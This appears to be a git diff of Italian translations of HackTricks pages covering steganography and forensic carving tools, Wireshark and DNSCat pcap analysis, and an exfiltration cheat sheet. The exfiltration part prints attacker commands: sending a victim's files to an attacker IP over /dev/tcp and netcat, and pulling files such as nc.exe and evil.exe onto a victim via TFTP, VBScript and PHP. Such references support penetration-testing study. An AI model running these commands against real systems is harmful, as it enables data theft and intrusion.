* [OpenStego](https://www.openstego.com/)
|
||||
* [DIIT](https://diit.sourceforge.net/)
|
||||
|
||||
## **Estrarre dati dagli audio**
|
||||
## **Estrazione di Dati da Audio**
|
||||
|
||||
La **steganografia audio** offre un metodo unico per nascondere informazioni nei file audio. Diversi strumenti sono utilizzati per incorporare o recuperare contenuti nascosti.
|
||||
**Steganografia audio** offre un metodo unico per nascondere informazioni all'interno di file audio. Vengono utilizzati diversi strumenti per incorporare o recuperare contenuti nascosti.
|
||||
|
||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||
|
||||
Steghide è uno strumento versatile progettato per nascondere dati nei file JPEG, BMP, WAV e AU. Istruzioni dettagliate sono fornite nella [documentazione dei trucchi di stego](stego-tricks.md#steghide).
|
||||
Steghide è uno strumento versatile progettato per nascondere dati in file JPEG, BMP, WAV e AU. I dettagli sono forniti nella [documentazione sui trucchi stego](stego-tricks.md#steghide).
|
||||
|
||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||
|
||||
Questo strumento è compatibile con una varietà di formati tra cui PNG, BMP, GIF, WebP e WAV. Per ulteriori informazioni, consulta la [sezione di Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
|
||||
Questo strumento è compatibile con una varietà di formati tra cui PNG, BMP, GIF, WebP e WAV. Per ulteriori informazioni, fai riferimento alla [sezione di Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
|
||||
|
||||
### **ffmpeg**
|
||||
|
||||
|
@ -172,7 +166,7 @@ ffmpeg -v info -i stego.mp3 -f null -
|
|||
```
|
||||
### **WavSteg (WAV)**
|
||||
|
||||
WavSteg eccelle nel nascondere ed estrarre dati all'interno dei file WAV utilizzando la strategia del bit meno significativo. È accessibile su [GitHub](https://github.com/ragibson/Steganography#WavSteg). I comandi includono:
|
||||
WavSteg eccelle nel nascondere ed estrarre dati all'interno di file WAV utilizzando la strategia del bit meno significativo. È accessibile su [GitHub](https://github.com/ragibson/Steganography#WavSteg). I comandi includono:
|
||||
```bash
|
||||
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
||||
|
||||
|
@ -180,43 +174,39 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
|||
```
|
||||
### **Deepsound**
|
||||
|
||||
Deepsound consente la crittografia e il rilevamento di informazioni all'interno dei file audio utilizzando AES-256. Può essere scaricato dalla [pagina ufficiale](http://jpinsoft.net/deepsound/download.aspx).
|
||||
Deepsound consente la crittografia e la rilevazione di informazioni all'interno di file audio utilizzando AES-256. Può essere scaricato dalla [pagina ufficiale](http://jpinsoft.net/deepsound/download.aspx).
|
||||
|
||||
### **Sonic Visualizer**
|
||||
|
||||
Uno strumento prezioso per l'ispezione visiva e analitica dei file audio, Sonic Visualizer può rivelare elementi nascosti non rilevabili con altri mezzi. Visita il [sito ufficiale](https://www.sonicvisualiser.org/) per ulteriori informazioni.
|
||||
|
||||
### **Toni DTMF - Toni di Selezione**
|
||||
### **DTMF Tones - Dial Tones**
|
||||
|
||||
Il rilevamento dei toni DTMF nei file audio può essere realizzato attraverso strumenti online come [questo rilevatore DTMF](https://unframework.github.io/dtmf-detect/) e [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
La rilevazione dei toni DTMF nei file audio può essere ottenuta tramite strumenti online come [questo rilevatore DTMF](https://unframework.github.io/dtmf-detect/) e [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
|
||||
## **Altre Tecniche**
|
||||
## **Other Techniques**
|
||||
|
||||
### **Lunghezza Binaria SQRT - Codice QR**
|
||||
### **Binary Length SQRT - QR Code**
|
||||
|
||||
I dati binari che danno un numero intero potrebbero rappresentare un codice QR. Utilizza questo snippet per controllare:
|
||||
I dati binari che si elevano al quadrato per diventare un numero intero potrebbero rappresentare un codice QR. Usa questo frammento per controllare:
|
||||
```python
|
||||
import math
|
||||
math.sqrt(2500) #50
|
||||
```
|
||||
Per la conversione da binario a immagine, controlla [dcode](https://www.dcode.fr/binary-image). Per leggere i codici QR, usa [questo lettore di codici a barre online](https://online-barcode-reader.inliteresearch.com/).
|
||||
|
||||
### **Traduzione in Braille**
|
||||
|
||||
Per tradurre in Braille, il [Traduttore Braille di Branah](https://www.branah.com/braille-translator) è una risorsa eccellente.
|
||||
Per tradurre il Braille, il [Branah Braille Translator](https://www.branah.com/braille-translator) è una risorsa eccellente.
|
||||
|
||||
## **Riferimenti**
|
||||
|
||||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
**Gruppo di Sicurezza Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -224,7 +214,7 @@ Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Carving & Recovery tools
|
||||
|
||||
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
@ -44,7 +36,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
### Foremost
|
||||
|
||||
Un altro strumento comune per trovare file nascosti è **foremost**. Puoi trovare il file di configurazione di foremost in `/etc/foremost.conf`. Se vuoi cercare solo alcuni file specifici, decommentali. Se non decommenti nulla, foremost cercherà i suoi tipi di file configurati per impostazione predefinita.
|
||||
Un altro strumento comune per trovare file nascosti è **foremost**. Puoi trovare il file di configurazione di foremost in `/etc/foremost.conf`. Se desideri cercare alcuni file specifici, decommentali. Se non decommenti nulla, foremost cercherà i suoi tipi di file configurati per impostazione predefinita.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
@ -65,7 +57,7 @@ Questo strumento può scansionare un'immagine e **estrarre pcaps** al suo intern
|
|||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
Navigate through **tutte le informazioni** che lo strumento ha raccolto (password?), **analizza** i **pacchetti** (leggi[ **analisi Pcaps**](../pcap-inspection/)), cerca **domini strani** (domini relativi a **malware** o **inesistenti**).
|
||||
Naviga attraverso **tutte le informazioni** che lo strumento ha raccolto (password?), **analizza** i **pacchetti** (leggi[ **analisi Pcaps**](../pcap-inspection/)), cerca **domini strani** (domini relativi a **malware** o **inesistenti**).
|
||||
|
||||
### PhotoRec
|
||||
|
||||
|
@ -85,7 +77,7 @@ Controlla il [codice](https://code.google.com/archive/p/binvis/) e la [pagina we
|
|||
* Plots multipli per diversi punti di interesse
|
||||
* Focalizzazione su porzioni di un campione
|
||||
* **Visualizzazione di stringhe e risorse**, in eseguibili PE o ELF, ad esempio
|
||||
* Ottenere **pattern** per la crittanalisi su file
|
||||
* Ottenere **pattern** per la crittoanalisi su file
|
||||
* **Identificare** algoritmi di packer o encoder
|
||||
* **Identificare** la steganografia tramite pattern
|
||||
* **Differenziazione** binaria visiva
|
||||
|
@ -105,12 +97,6 @@ Scarica [qui](https://sourceforge.net/projects/findaes/).
|
|||
Puoi usare [**viu** ](https://github.com/atanunq/viu) per vedere immagini dal terminale.\
|
||||
Puoi usare lo strumento da riga di comando linux **pdftotext** per trasformare un pdf in testo e leggerlo.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Carving & Recovery tools
|
||||
|
||||
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
@ -33,7 +25,7 @@ Lo strumento più comune utilizzato in forense per estrarre file da immagini è
|
|||
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk** è uno strumento per analizzare file binari per trovare contenuti incorporati. È installabile tramite `apt` e il suo codice sorgente è su [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
**Binwalk** è uno strumento per analizzare file binari per trovare contenuti incorporati. È installabile tramite `apt` e il suo sorgente è su [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
|
||||
**Comandi utili**:
|
||||
```bash
|
||||
|
@ -65,7 +57,7 @@ Questo strumento può scansionare un'immagine e **estrarre pcaps** al suo intern
|
|||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
Naviga attraverso **tutte le informazioni** che lo strumento ha raccolto (password?), **analizza** i **pacchetti** (leggi[ **analisi Pcaps**](../pcap-inspection/)), cerca **domini strani** (domini relativi a **malware** o **inesistenti**).
|
||||
Naviga attraverso **tutte le informazioni** che lo strumento ha raccolto (password?), **analizza** i **pacchetti** (leggi[ **analisi Pcaps**](../pcap-inspection/)), cerca **domini strani** (domini legati a **malware** o **inesistenti**).
|
||||
|
||||
### PhotoRec
|
||||
|
||||
|
@ -105,12 +97,6 @@ Scarica [qui](https://sourceforge.net/projects/findaes/).
|
|||
Puoi usare [**viu** ](https://github.com/atanunq/viu) per vedere immagini dal terminale.\
|
||||
Puoi usare lo strumento da riga di comando linux **pdftotext** per trasformare un pdf in testo e leggerlo.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Analisi pcap di DNSCat
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,19 +15,7 @@ Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
Se hai un pcap con dati **esfiltrati da DNSCat** (senza utilizzare la crittografia), puoi trovare il contenuto esfiltrato.
|
||||
|
||||
|
|
|
@ -15,25 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Migliora le tue abilità con Wireshark
|
||||
|
||||
### Tutorial
|
||||
|
||||
I seguenti tutorial sono fantastici per imparare alcuni trucchi di base interessanti:
|
||||
I seguenti tutorial sono fantastici per imparare alcuni trucchi di base:
|
||||
|
||||
* [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/)
|
||||
* [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/)
|
||||
|
@ -110,7 +97,7 @@ Puoi aggiungere una colonna che mostra l'intestazione Host HTTP:
|
|||
|
||||
![](<../../../.gitbook/assets/image (639).png>)
|
||||
|
||||
E una colonna che aggiunge il nome del server da una connessione HTTPS iniziante (**ssl.handshake.type == 1**):
|
||||
E una colonna che aggiunge il nome del server da una connessione HTTPS iniziale (**ssl.handshake.type == 1**):
|
||||
|
||||
![](<../../../.gitbook/assets/image (408) (1).png>)
|
||||
|
||||
|
@ -134,7 +121,7 @@ _edit>preference>protocol>ssl>_
|
|||
|
||||
![](<../../../.gitbook/assets/image (1103).png>)
|
||||
|
||||
Premi _Modifica_ e aggiungi tutti i dati del server e la chiave privata (_IP, Porta, Protocollo, File chiave e password_)
|
||||
Premi _Edit_ e aggiungi tutti i dati del server e la chiave privata (_IP, Porta, Protocollo, File chiave e password_)
|
||||
|
||||
### Decrittazione del traffico https con chiavi di sessione simmetriche
|
||||
|
||||
|
@ -179,21 +166,9 @@ f = open('all_bytes.data', 'w+b')
|
|||
f.write(all_bytes)
|
||||
f.close()
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -201,7 +176,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,25 @@
|
|||
# Esfiltrazione
|
||||
# Exfiltration
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Sostieni HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Domini comunemente autorizzati per esfiltrare informazioni
|
||||
|
||||
Controlla [https://lots-project.com/](https://lots-project.com/) per trovare i domini comunemente autorizzati che possono essere abusati
|
||||
Controlla [https://lots-project.com/](https://lots-project.com/) per trovare domini comunemente autorizzati che possono essere abusati
|
||||
|
||||
## Copia e Incolla Base64
|
||||
## Copia\&Incolla Base64
|
||||
|
||||
**Linux**
|
||||
```bash
|
||||
|
@ -63,7 +55,7 @@ Start-BitsTransfer -Source $url -Destination $output
|
|||
#OR
|
||||
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
||||
```
|
||||
### Caricare file
|
||||
### Carica file
|
||||
|
||||
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
|
||||
* [**SimpleHttpServer che stampa GET e POST (anche intestazioni)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
|
||||
|
@ -151,7 +143,7 @@ mkdir -p /ftphome
|
|||
chown -R ftpuser:ftpgroup /ftphome/
|
||||
/etc/init.d/pure-ftpd restart
|
||||
```
|
||||
### **Client** Windows
|
||||
### **Client Windows**
|
||||
```bash
|
||||
#Work well with python. With pure-ftp use fusr:ftp
|
||||
echo open 10.11.0.41 21 > ftp.txt
|
||||
|
@ -171,7 +163,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
|
|||
#For new Win10 versions
|
||||
impacket-smbserver -smb2support -user test -password test test `pwd`
|
||||
```
|
||||
O creare una condivisione smb **utilizzando samba**:
|
||||
O crea una condivisione smb **utilizzando samba**:
|
||||
```bash
|
||||
apt-get install samba
|
||||
mkdir /tmp/smb
|
||||
|
@ -209,17 +201,13 @@ sudo mkdir /mnt/sshfs
|
|||
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
|
||||
```
|
||||
## NC
|
||||
|
||||
### Netcat
|
||||
|
||||
Netcat is a versatile networking utility that can be used for reading from and writing to network connections using TCP or UDP. It can be used to transfer files, port scanning, banner grabbing, and as a backdoor. Netcat can be used as a simple chat client as well.
|
||||
```bash
|
||||
nc -lvnp 4444 > new_file
|
||||
nc -vn <IP> 4444 < exfil_file
|
||||
```
|
||||
## /dev/tcp
|
||||
|
||||
### Scaricare file dalla vittima
|
||||
### Scarica file dalla vittima
|
||||
```bash
|
||||
nc -lvnp 80 > file #Inside attacker
|
||||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||||
|
@ -231,7 +219,7 @@ nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
|||
exec 6< /dev/tcp/10.10.10.10/4444
|
||||
cat <&6 > file.txt
|
||||
```
|
||||
Grazie a **@BinaryShadow\_**
|
||||
grazie a **@BinaryShadow\_**
|
||||
|
||||
## **ICMP**
|
||||
```bash
|
||||
|
@ -253,13 +241,13 @@ sniff(iface="tun0", prn=process_packet)
|
|||
```
|
||||
## **SMTP**
|
||||
|
||||
Se puoi inviare dati a un server SMTP, puoi creare un server SMTP per ricevere i dati con python:
|
||||
Se puoi inviare dati a un server SMTP, puoi creare un SMTP per ricevere i dati con python:
|
||||
```bash
|
||||
sudo python -m smtpd -n -c DebuggingServer :25
|
||||
```
|
||||
## TFTP
|
||||
|
||||
Per impostazione predefinita in XP e 2003 (in altri sistemi deve essere aggiunto esplicitamente durante l'installazione)
|
||||
Per impostazione predefinita in XP e 2003 (negli altri deve essere aggiunto esplicitamente durante l'installazione)
|
||||
|
||||
In Kali, **avvia il server TFTP**:
|
||||
```bash
|
||||
|
@ -273,13 +261,13 @@ cp /path/tp/nc.exe /tftp
|
|||
pip install ptftpd
|
||||
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
||||
```
|
||||
In **vittima**, connettersi al server Kali:
|
||||
In **victim**, connettersi al server Kali:
|
||||
```bash
|
||||
tftp -i <KALI-IP> get nc.exe
|
||||
```
|
||||
## PHP
|
||||
|
||||
Scarica un file con un PHP oneliner:
|
||||
Scarica un file con un oneliner PHP:
|
||||
```bash
|
||||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||
```
|
||||
|
@ -321,13 +309,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
|||
```
|
||||
## Debug.exe
|
||||
|
||||
Il programma `debug.exe` non solo consente l'ispezione dei file binari ma ha anche la **capacità di ricostruirli da esadecimale**. Ciò significa che fornendo un esadecimale di un file binario, `debug.exe` può generare il file binario. Tuttavia, è importante notare che debug.exe ha una **limitazione nell'assemblare file fino a 64 kb di dimensione**.
|
||||
Il programma `debug.exe` non solo consente l'ispezione dei file binari, ma ha anche la **capacità di ricostruirli da esadecimali**. Ciò significa che fornendo un esadecimale di un file binario, `debug.exe` può generare il file binario. Tuttavia, è importante notare che debug.exe ha una **limitazione nell'assemblare file fino a 64 kb di dimensione**.
|
||||
```bash
|
||||
# Reduce the size
|
||||
upx -9 nc.exe
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
```
|
||||
Quindi copia-incolla il testo nella shell di Windows e verrà creato un file chiamato nc.exe.
|
||||
Poi copia e incolla il testo nella windows-shell e verrà creato un file chiamato nc.exe.
|
||||
|
||||
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||
|
||||
|
@ -335,15 +323,9 @@ Quindi copia-incolla il testo nella shell di Windows e verrà creato un file chi
|
|||
|
||||
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
